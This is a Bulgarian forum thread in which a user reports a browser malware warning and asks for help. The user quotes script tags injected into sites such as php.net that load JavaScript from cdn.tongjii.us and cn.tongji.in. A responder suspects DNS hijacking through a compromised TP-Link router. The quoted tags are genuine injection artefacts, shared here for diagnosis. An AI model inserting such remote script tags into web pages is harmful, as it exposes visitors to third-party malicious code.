Здравейте, бях в един приятел - уеб програмист, при което реших да вляза в php.net и получих chrome security warning:

Цитат

 

The site ahead contains malware

Attackers currently on cdn.tongjii.us might attempt to install dangerous programs on your computer....

 

Source code(CTRL + U) не съдържа нищо за cdn.tongjii.us, но в инспектора(F12) намерих инжектирани тагове: 

Цитат

<script src="http://cdn.tongjii.us/tongji/tongji.js"></script>

<script src="http://cn.tongji.in/tongji/show.js?r2=30" charset="utf-8"></script>

<script src="http://cn.tongji.in/pc/t.js?r1=30" charset="utf-8"></script>

<script src="http://cn.tongji.in/gg/show.js?r1=30" charset="utf-8"></script>

<script src="http://cn.tongji.in/cps/cps.js?r1=30" charset="utf-8"></script>

Ако избереш "visit this unsafe site", някой път ме редиректва към някаква страница, но не забелязвам нищо друго

Според моя приятел който има този проблем, всичко идва от рутера, тъй като все който се върже получава този проблем. Казва, че единственото спасение е да си зададе IP и DNS-и в TCP/IPv4 Properties в Adapter Settings. Той е забелязал, че се кода започва да се инжектира когато имаш css или js файлове от external URLs.

Въпроса е, че дори на другите Wi-Fi мрежи, php.net, stackoverflow.com и други уебсайтове са заразени и дадения код се инжектира.

Сканирах с MAMB, но не намери нищо. Прикачвам логовете от FRST и дано се намери решение даже за изчистване на рутера(TP Link).

Благодаря предварително!

Addition.txt

FRST.txt

Много вероятно е рутърът да е инфектиран:
http://forum.tp-link.com/showthread.php?75547-DNS-Redirect-Issue

Имате ли нужда още от помощ или след резет на настройките на рутера проблема изчезна?

Поздрави!